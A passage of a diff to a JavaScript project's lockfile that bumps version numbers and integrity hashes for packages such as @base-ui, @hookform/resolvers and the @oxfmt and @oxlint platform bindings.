"@base-ui/react": ["@base-ui/react@1.5.0", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.2.9", "@floating-ui/react-dom": "^2.1.8", "@floating-ui/utils": "^0.2.11", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-z1gSAlced1yY+iM+mHDEtIkD8UI3Ebs52MuBPxvV6f5hRutk+xvCH/wuB7hDqDzK9JG5FoMz5nhrqtSs1wjt1A=="],
|
||||||
|
|
||||||
"@base-ui/utils": ["@base-ui/[email protected].8", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.11", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-jvOi+c+ftGlGotNcKnzPVg2IhCaDTB6/6R3JeqdjdXktuAJi3wKH9T7+svuaKh1mmfVU11UWzUZVH74JDfi/wQ=="],
|
"@base-ui/utils": ["@base-ui/[email protected].9", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.11", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-x/PDDCYzoqPpjrdyb3VcyylTI2IjUXEtYDGi5foh7KsnmNJIIaVwA2GLgDH1dps1GgXiJbA60hM+AyuTfQzIvw=="],
|
||||||
|
|
||||||
"@biomejs/cli-darwin-arm64": ["@biomejs/[email protected]", "", { "os": "darwin", "cpu": "arm64" }, "sha512-/uXXkBcPKVQY7rc9Ys2CrlirBJYbpESEDme7RKiBD6MmqR2w3j0+ZZXRIL2xiaNPsIMMNhP1YnA+jRRxoOAFrA=="],
|
"@biomejs/cli-darwin-arm64": ["@biomejs/[email protected]", "", { "os": "darwin", "cpu": "arm64" }, "sha512-/uXXkBcPKVQY7rc9Ys2CrlirBJYbpESEDme7RKiBD6MmqR2w3j0+ZZXRIL2xiaNPsIMMNhP1YnA+jRRxoOAFrA=="],
|
||||||
|
|
||||||
@@ -191,7 +192,7 @@
|
|||||||
|
|
||||||
"@fumadocs/tailwind": ["@fumadocs/[email protected]", "", { "peerDependencies": { "@tailwindcss/oxide": "^4.0.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@tailwindcss/oxide", "tailwindcss"] }, "sha512-ENKPWUDRmriccsrUDE4bDBq3FNr/ms3BP2rWlsAEMV1yP23pcCaan+ceGfeBUsAQjw7sj9Q3R4Kl3g/TCStPzQ=="],
|
"@fumadocs/tailwind": ["@fumadocs/[email protected]", "", { "peerDependencies": { "@tailwindcss/oxide": "^4.0.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@tailwindcss/oxide", "tailwindcss"] }, "sha512-ENKPWUDRmriccsrUDE4bDBq3FNr/ms3BP2rWlsAEMV1yP23pcCaan+ceGfeBUsAQjw7sj9Q3R4Kl3g/TCStPzQ=="],
|
||||||
|
|
||||||
"@hookform/resolvers": ["@hookform/resolvers@5.2.2", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA=="],
|
"@hookform/resolvers": ["@hookform/resolvers@5.4.0", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-EIsqr/t/qbinPIhGjMdtvutIN1Kk4uwbROE9/UQ93CAVGR7GkA7Y92+fX80OzXi/OB67jVFYwKGO1WzkxmkFZw=="],
|
||||||
|
|
||||||
"@jridgewell/gen-mapping": ["@jridgewell/[email protected]", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
|
"@jridgewell/gen-mapping": ["@jridgewell/[email protected]", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
|
||||||
|
|
||||||
@@ -215,83 +216,83 @@
|
|||||||
|
|
||||||
"@orama/tokenizers": ["@orama/[email protected]", "", { "dependencies": { "@orama/orama": "3.1.18" } }, "sha512-Ra4dFddWZ7hCGPAehnd/6QZjlzQvczYSt1y1Fq4HteJqRu2yvfR6fXvxiUnKi+HIgJYPxKhebJEjvJdF8LYQWg=="],
|
"@orama/tokenizers": ["@orama/[email protected]", "", { "dependencies": { "@orama/orama": "3.1.18" } }, "sha512-Ra4dFddWZ7hCGPAehnd/6QZjlzQvczYSt1y1Fq4HteJqRu2yvfR6fXvxiUnKi+HIgJYPxKhebJEjvJdF8LYQWg=="],
|
||||||
|
|
||||||
"@oxc-project/types": ["@oxc-project/[email protected]7.0", "", {}, "sha512-aIYXQBo4lCbO4z0R3FHeucQHpF46l2LbMdxRvqvuRuW2OxdnSkcng5B8+K12spgLDj93rtN3+J2Vac/TIO+ciQ=="],
|
"@oxc-project/types": ["@oxc-project/[email protected]32.0", "", {}, "sha512-FESMOxil5Se014ui/Eq8fT5uHJo6nIRwH0PfJrZJXs6Gek3ZVFOrpUv3YIZT20m+extU98Hg1Ym72U58rlsxUQ=="],
|
||||||
|
|
||||||
"@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.46.0", "", { "os": "android", "cpu": "arm" }, "sha512-b1doV4WRcJU+BESSlCvCjV+5CEr/T6h0frArAdV26Nir+gGNFNaylvDiiMPfF1pxeV0txZEs38ojzJaxBYg+ng=="],
|
"@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.51.0", "", { "os": "android", "cpu": "arm" }, "sha512-Ni0sCqg5CIHaLIYFGj+ncbcumylvNC6FE4rfD0KfdmnWHbPJ+zev0qZCXKxy2hFVa0fYRK0yPzf5nzPbkZou7g=="],
|
||||||
|
|
||||||
"@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.46.0", "", { "os": "android", "cpu": "arm64" }, "sha512-v6+HhjsoV3GO0u2u9jLSAZrvWfTraDxKofUIQ7/ktS7tzS+epVsxdHmeM+XxuNcAY/nWxxU1Sg4JcGTNRXraBA=="],
|
"@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.51.0", "", { "os": "android", "cpu": "arm64" }, "sha512-eu5lAZjuo0KAkp+M24EhDqfOwA8owQ8d7wyBlOUUGRbDLHpU3IRlDHp8Dif+YqGlxs6jra7yS6WQu/NkPhAxeg=="],
|
||||||
|
|
||||||
"@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.46.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-3eeooJGrqGIlI5MyryDZsAcKXSmKIgAD4yYtfRrRJzXZ0UTFZtiSveIur56YPrGMYZwT4XyVhHsMqrNwr1XeFA=="],
|
"@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.51.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-6LsUNIdURhhcIfIn8+xsOb61mSTa9msAHTeSGx9Jf4rsP/gN8PGCF+SKWPAQZbND2w/WBkqQ6303jqEEIXzMdQ=="],
|
||||||
|
|
||||||
"@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.46.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-QG8BDM0CXWbu84k2SKmCqfEddPQPFiBicwtYnLqHRWZZl57HbtOLRMac/KTq2NO4AEc4ICCBpFxJIV9zcqYfkQ=="],
|
"@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.51.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-9aUMGmVxdHjYMsEAW1tNRoieTJXlVNDFkRvIR1J7LttJXWjVYCu2ekclLij2KJtxBxSQOYSHd12ME/adVGVbZg=="],
|
||||||
|
|
||||||
"@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.46.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-9DdCqS/n2ncu/Chazvt3cpgAjAmIGQDz7hFKSrNItMApyV/Ja9mz3hD4JakIE3nS8PW9smEbPWnb389QLBY4nw=="],
|
"@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.51.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-mkY1nhZTqYb+NHaAWxOCKISN6FwdrwMNsu17vTUA3wzUV2VJ+Paq15ZokRcsMU/2PUdHO73prxyeJpjXQ3MPpQ=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.46.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Dgs7VeE2jT0LHMhw6tPEt0xQYe54kBqHEovmWsv4FVQlegCOvlIJNx0S8n4vj8WUtpT+Z6BD2HhKJPLglLxvZg=="],
|
"@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.51.0", "", { "os": "linux", "cpu": "arm" }, "sha512-wtFwNwE4+YCNuPaWoGDZeGsKvD6D1YSUNBJNn/rJBh7CrDBThFE+TBI5kY7vRW9rIOQRsbW2IpyyL3Du4Zqwiw=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.46.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Zxn3adhTH13JKnU4xXJj8FeEfF680XjXh3gSShKl57HCMBRde2tUJTgogV/1MSHA80PJEVrDa7r66TLVq3Ia7Q=="],
|
"@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.51.0", "", { "os": "linux", "cpu": "arm" }, "sha512-rnOaNx86G7iRKM6lsCIQMux0SMGNC/TEbFR+r7lpruJ12bnrIWgxd5w1PLqOvgR9r8ZJbpK/zfRKctJnh8/Jfg=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.46.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-+TWipjrgVM8D7aIdDD0tlr3teLTTvQTn7QTE5BpT10H1Fj82gfdn9X6nn2sDgx/MepuSCfSnzFNJq2paLL0OiA=="],
|
"@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.51.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-jOgDzSqWcICGRjsp4mc08FxKMN8vzP2Kgs4E0d2HUP99F+nJDQKklRV4Zuj+0gcBgjrzx2CbpqaIdUVPepCojA=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.46.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-aAUPBWJ1lGwwnxZUEDLJ94+Iy6MuwJwPxUgO4sCA5mEEyDk7b+cDQ+JpX1VR150Zoyd+D49gsrUzpUK5h587Eg=="],
|
"@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.51.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-KBUCdrH5bwVrAvI9gU/1S55oH6fzXjr++J/oVocdu7bYTks1l7DNNT+rLd/1TDdAEjObGwmfWamn7LC1m8A0DQ=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.46.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-ufBCJukyFX/UDrokP/r6BGDoTInnsDs7bxyzKAgMiZlt2Qu8GPJSJ6Zm6whIiJzKk0naxA8ilwmbO1LMw6Htxw=="],
|
"@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.51.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NapfjYsABFqTJ1Dn9Efq6sN5esaHconVKwVLbDGNQLrwpOx/g17mkwErHzU72PutL67nf3wNAkbq122H+zLxag=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.46.0", "", { "os": "linux", "cpu": "none" }, "sha512-eqtlC2YmPqjun76R1gVfGLuKWx7NuEnLEAudZ7n6ipSKbCZTqIKSs1b5Y8K/JHZsRpLkeSmAAjig5HOIg8fQzQ=="],
|
"@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.51.0", "", { "os": "linux", "cpu": "none" }, "sha512-5dlDt1dUZCVi6elIhiK1PWg9wpTzTcIuj0IZnSurvIoMrhOWqqTcc1dSTxcSkNaBZhfsNqRZdINI1zAgbKkJNQ=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.46.0", "", { "os": "linux", "cpu": "none" }, "sha512-yccVOO2nMXkQLGgy0He3EQEwKD7NF0zEk+/OWmroznkqXyJdN6bfK0LtNnr6/14Bh3FjpYq7bP33l/VloCnxpA=="],
|
"@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.51.0", "", { "os": "linux", "cpu": "none" }, "sha512-pgdWUJn0S5nulyiVdlFV8DzCUnGXkU99W5PSkkmbaZW+LrZBPxpezun4G0DDHbQaVYuJeCuKsXsGKGo77CkUTQ=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.46.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-aAf7fG23OQCey6VRPj9IeCraoYtpgtx0ZyJ1CXkPyT1wjzBE7c3xtuxHe/AdHaJfVVb/SXpSk8Gl1LzyQupSqw=="],
|
"@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.51.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-2XTFUe97CbDGAI8vjwDfZ1HdakO0XIADyJ24idEg64SC4/K4in/OisXVnrW4NMK7I6TgC7EqRhC0Ln/nKhAemA=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.46.0", "", { "os": "linux", "cpu": "x64" }, "sha512-q0JPsTMyJNjYrBvYFDz4WbVsafNZaPCZv4RnFypRotLqpKROtBZcEaXQW4eb9YmvLU3NckVemLJnzkSZSdmOxw=="],
|
"@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.51.0", "", { "os": "linux", "cpu": "x64" }, "sha512-kQ1OuCqqt/yyf0ZN9VFxW1/JnlgJgii3Dr7pWf9vNBvrX1hv6g39/+mc5oGRHRGJFZtl3zsGDWR9c5N2B/gwBw=="],
|
||||||
|
|
||||||
"@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.46.0", "", { "os": "linux", "cpu": "x64" }, "sha512-7LsLY9Cw57GPkhSR+duI3mt9baRczK/DtHYSldQ4BEU92da9igBQNl4z7Vq5U9NNPsh1FmpKvv1q9WDtiUQR1A=="],
|
"@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.51.0", "", { "os": "linux", "cpu": "x64" }, "sha512-ARTYqxHF475o96Gbn41hvSWSSRygPlRDXZZgZ9I2scU1y0qiWpCQyZCoefaQa0mwv+wwtZ+luS4YOzsRzM/izg=="],
|
||||||
|
|
||||||
"@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.46.0", "", { "os": "none", "cpu": "arm64" }, "sha512-lHiBOz8Duaku7JtRNLlps3j++eOaICPZSd8FCVmTDM4DFOPT71Bjn7g6iar1z7StXlKRweUKxWUs4sA+zWGDXg=="],
|
"@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.51.0", "", { "os": "none", "cpu": "arm64" }, "sha512-QiC1XrCl6a6BmqMzduO8hdIRMf1m44hCkt2Q68KWkTvUB/E7fd2iomyNh6KnnRca5w6eBrRAAtLFqTh+xjsjJA=="],
|
||||||
|
|
||||||
"@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.46.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-/5ktYUliP89RhgC37DBH1x20U5zPSZMy3cMEcO0j3793rbHP9MWsknBwQB6eozRzWmYrh0IFM/p20EbPvDlYlg=="],
|
"@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.51.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-NC/hJb9dtU23Zf8L7IVK95xnFjiQ7AfcLO2l5pb69TDEr958qxrtnB2CveeeNSCBFNIkgaTCfd/vHNSoG78l9g=="],
|
||||||
|
|
||||||
"@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.46.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-3WTnoiuIr8XvV0DIY7SN+1uJSwKf4sPpcbHfobcRT9JutGcLaef/miyBB87jxd3aqH+mS0+G5lsgHuXLUwjjpQ=="],
|
"@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.51.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-2C45za4Rj36n8YIbhRL1PQbxmXJYf81WEcAgvj5I4ptRROG+A+81hREEN5bmCHADE1UfYaN312U6tkILoZZy6w=="],
|
||||||
|
|
||||||
"@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.46.0", "", { "os": "win32", "cpu": "x64" }, "sha512-IXxiQpkYnOwNfP23vzwSfhdpxJzyiPTY7eTn6dn3DsriKddESzM8i6kfq9R7CD/PUJwCvQT22NgtygBeug3KoA=="],
|
"@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.51.0", "", { "os": "win32", "cpu": "x64" }, "sha512-73RqdAuVKQTkjZIDw08JaDHUM4lav5Qu+CaPwg4QbbA7k8o7LEW0p3UsfZ/F8dsO/pwVYh3RzFcanwLRTTahbQ=="],
|
||||||
|
|
||||||
"@oxlint/binding-android-arm-eabi": ["@oxlint/[email protected]1.0", "", { "os": "android", "cpu": "arm" }, "sha512-6eZBPgiigK5txqoVgRqxbaxiom4lM8AP8CyKPPvpzKnQ3iFRFOIDc+0AapF+qsUSwjOzr5SGk4SxQDpQhkSJMQ=="],
|
"@oxlint/binding-android-arm-eabi": ["@oxlint/[email protected]6.0", "", { "os": "android", "cpu": "arm" }, "sha512-f7kq8N51T4phpzqfBpA2qaVTI/KrkCmNwaj3t/97I/WLTDI+UhlP5GL9eER+zVxBhtlx5rKXWByJU1/zDAvyaw=="],
|
||||||
|
|
||||||
"@oxlint/binding-android-arm64": ["@oxlint/[email protected]1.0", "", { "os": "android", "cpu": "arm64" }, "sha512-CkwLR69MUnyv5wjzebvbbtTSUwqLxM35CXE79bHqDIK+NtKmPEUpStTcLQRZMCo4MP0qRT6TXIQVpK0ZVScnMA=="],
|
"@oxlint/binding-android-arm64": ["@oxlint/[email protected]6.0", "", { "os": "android", "cpu": "arm64" }, "sha512-xu6QO71tdDS9mjmLZ3AqhtaVHBvdmsOKkYnReNNDgh+XiwnsipeQOIxbiYOOO0iAXycJ+GK0wdMSZP/2j/AmSg=="],
|
||||||
|
|
||||||
"@oxlint/binding-darwin-arm64": ["@oxlint/[email protected]1.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-8JbefTkbmvqkqWjmQrHke+MdpgT2UghhD/ktM4FOQSpGeCgbMToJEKdl9zwhr/YWTl92i4QI1KiTwVExpcUN8A=="],
|
"@oxlint/binding-darwin-arm64": ["@oxlint/[email protected]6.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-HZ24VimSOC7mxuEA99e0H2FS0C1yO3+iW13jPRAk+e2njsUs3QeAXsafCDyaIrV/MirdOVez+etQNQsJE43zNQ=="],
|
||||||
|
|
||||||
"@oxlint/binding-darwin-x64": ["@oxlint/[email protected]1.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-uWpoxDT47hTnDLcdEh5jVbso8rlTTu5o0zuqa9J8E0JAKmIWn7kGFEIB03Pycn2hd2vKxybPGLhjURy/9We5FQ=="],
|
"@oxlint/binding-darwin-x64": ["@oxlint/[email protected]6.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-awhj8ZvJrrRSnXj7V++rpZvTmnl99L6mi0B7gg7Cp7BN6cKpzuI481bHNLvXGA9GB1/oEgA3ponuyoAc6Md12A=="],
|
||||||
|
|
||||||
"@oxlint/binding-freebsd-x64": ["@oxlint/[email protected]1.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-K/o4hEyW7flfMel0iBVznmMBt7VIMHGdjADocHKpK1DUF9erpWnJ+BSSWd2W0c8K3mPtpph+CuHzRU6CI3l9jQ=="],
|
"@oxlint/binding-freebsd-x64": ["@oxlint/[email protected]6.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-KQF0oVV21/FjIqkRuL8Q1vh8ECsE5+ocdH5tcqTQ4ZnYuDVoYibQUNfqBjQaUsP6UIIda5Y75Wpm5p4RgQWiWw=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "arm" }, "sha512-P6040ZkcyweJ0Po9yEFqJCdvZnf3VNCGs1SIHgXDf8AAQNC6ID/heXQs9iSgo2FH7gKaKq32VWc59XZwL34C5Q=="],
|
"@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "arm" }, "sha512-9u1rgwZSEXWb30vbFZzQ78HVXBo0WCKNwJ3a2InRUTNMRng+PUDIoSFmA+m4HdUfBaIqftShq8J8qHc+eE/Vig=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-arm-musleabihf": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "arm" }, "sha512-bwxrGCzTZkuB+THv2TQ1aTkVEfv5oz8sl+0XZZCpoYzErJD8OhPQOTA0ENPd1zJz8QsVdSzSrS2umKtPq4/JXg=="],
|
"@oxlint/binding-linux-arm-musleabihf": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Ynot2HR1bHxUaNWoC280MVTDfZuaWuP3XfSMRDhyuZrVjhzoaBCVFlw8h8qeZjWKVUBhPWFIxB7AQTlK8Z2WWg=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-arm64-gnu": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-vkhb9/wKguMkLlrm3FoJW/Xmdv31GgYAE+x8lxxQ+7HeOxXUySI0q36a3NTVIuQUdLzxCI1zzMGsk1o37FOe3w=="],
|
"@oxlint/binding-linux-arm64-gnu": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-xCbgzciGgo+A4aQZEknsNrNiIwY7sU5SfRuMmRjPIvZAgdF34cIHiKvwOsS5XRLjlTVSFwitmq6YclTtHTfU+g=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-arm64-musl": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-bl1dQh8LnVqsj6oOQAcxwbuOmNJkwc4p6o//HTBZhNTzJy21TLDwAviMqUFNUxDHkPGpmdKTSN4tWTjLryP8xg=="],
|
"@oxlint/binding-linux-arm64-musl": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-hmo+ZB/lHkR1HdDmnziNpzSLmulnUSu10VEqX2Yex7OwvoBAbjJQLvy4gIBRV3AAwWnCvAxKp5Nv1GE6LU1QMg=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-ppc64-gnu": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-QoOX6KB2IiEpyOj/HKqaxi+NQHPnOgNgnr22n9N4ANJCzXkUlj1UmeAbFb4PpqdlHIzvGDM5xZ0OKtcLq9RhiQ=="],
|
"@oxlint/binding-linux-ppc64-gnu": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-2Invd4Uyy81mVooQC5FBtfxSNrvcX1OxbMlVQ6M2erRrNI2awFYF26YNW2yFxdVFZ4ffNOWKghtMjhnUPsXsVA=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-riscv64-gnu": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "none" }, "sha512-1TGcTerjY6p152wCof3oKElccq3xHljS/Mucp04gV/4ATpP6nO7YNnp7opEg6SHkv2a57/b4b8Ndm9znJ1/qAw=="],
|
"@oxlint/binding-linux-riscv64-gnu": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "none" }, "sha512-s0iXPDQVdgayE3RGa/N2DZF7tjgg0TwEtD1sGoDxqPDGrIXgo45H0yHknT0f9A0yteASsweYZtDyTuVlM4aSag=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-riscv64-musl": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "none" }, "sha512-65wXEmZIrX2ADwC8i/qFL4EWLSbeuBpAm3suuX1vu4IQkKd+wLT/HU/BOl84kp91u2SxPkPDyQgu4yrqp8vwVA=="],
|
"@oxlint/binding-linux-riscv64-musl": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "none" }, "sha512-OekL4XFiu7RPK0JIZi8VeHgtIXPREf42t8Cy/rKEsC+P3gcqDgNAAGiyuUOpdbG4wwbfue1q4CHcCO7spSve6w=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-s390x-gnu": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-TVvhgMvor7Qa6COeXxCJ7ENOM+lcAOGsQ0iUdPSCv2hxb9qSHLQ4XF1h50S6RE1gBOJ0WV3rNukg4JJJP1LWRA=="],
|
"@oxlint/binding-linux-s390x-gnu": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-Ga1D0kj1SFslm34ThA/BdkUlyAYEnTsXyRC4pF0C5agZSwtGdHYWMTQWemUfBGp4RCG4QWXgdO+HmmmKqOtlBg=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-x64-gnu": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "x64" }, "sha512-SjpS5uYuFoDnDdZPwZE59ndF95AsY47R5MliuneTWR1pDm2CxGJaYXbKULI71t5TVfLQUWmrHEGRL9xvuq6dnA=="],
|
"@oxlint/binding-linux-x64-gnu": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "x64" }, "sha512-p5jfP1wUZe/IC3qpQO84n9DRnf9g3lKRtLBlQq23ykyrDglHcVx7sWmVTlPuU6SBw8mNnPzyOn022G3XZHnlww=="],
|
||||||
|
|
||||||
"@oxlint/binding-linux-x64-musl": ["@oxlint/[email protected]1.0", "", { "os": "linux", "cpu": "x64" }, "sha512-gGfAeGD4sNJGILZbc/yKcIimO9wQnPMoYp9swAaKeEtwsSQAbU+rsdQze5SBtIP6j0QDzeYd4XSSUCRCF+LIeQ=="],
|
"@oxlint/binding-linux-x64-musl": ["@oxlint/[email protected]6.0", "", { "os": "linux", "cpu": "x64" }, "sha512-vUB/sYlYZorDL1ZD+o9mRv7zbsykrrFRtmgS6R8musZqLtrPRQn1gc1eGpuX+sfdccz42STl/AqldY6XRb2upQ=="],
|
||||||
|
|
||||||
"@oxlint/binding-openharmony-arm64": ["@oxlint/[email protected]1.0", "", { "os": "none", "cpu": "arm64" }, "sha512-OlVT0LrG/ct33EVtWRyR+B/othwmDWeRxfi13wUdPeb3lAT5TgTcFDcfLfarZtzB4W1nWF/zICMgYdkggX2WmQ=="],
|
"@oxlint/binding-openharmony-arm64": ["@oxlint/[email protected]6.0", "", { "os": "none", "cpu": "arm64" }, "sha512-yde+6p/F59xRkGR9H1HfngWRif1QRJjynZK349l+UI0H6w9hL3G8/AVaTHFyTtLVQ56qtNbX2/5Dc77n1ovnOg=="],
|
||||||
|
|
||||||
"@oxlint/binding-win32-arm64-msvc": ["@oxlint/[email protected]1.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-vI//NZPJk6DToiovPtaiwD4iQ7kO1r5ReWQD0sOOyKRtP3E2f6jxin4uvwi3OvDzHA2EFfd7DcZl5dtkQh7g1w=="],
|
"@oxlint/binding-win32-arm64-msvc": ["@oxlint/[email protected]6.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-O9GLucgoTdmOrbBX+EjzNe7o/Ze5TFOvXcib6bzUOtBOmj6cV+zw18NgB+cGKAkDw1Pdqs8vGkfHbbsLuDtXWg=="],
|
||||||
|
|
||||||
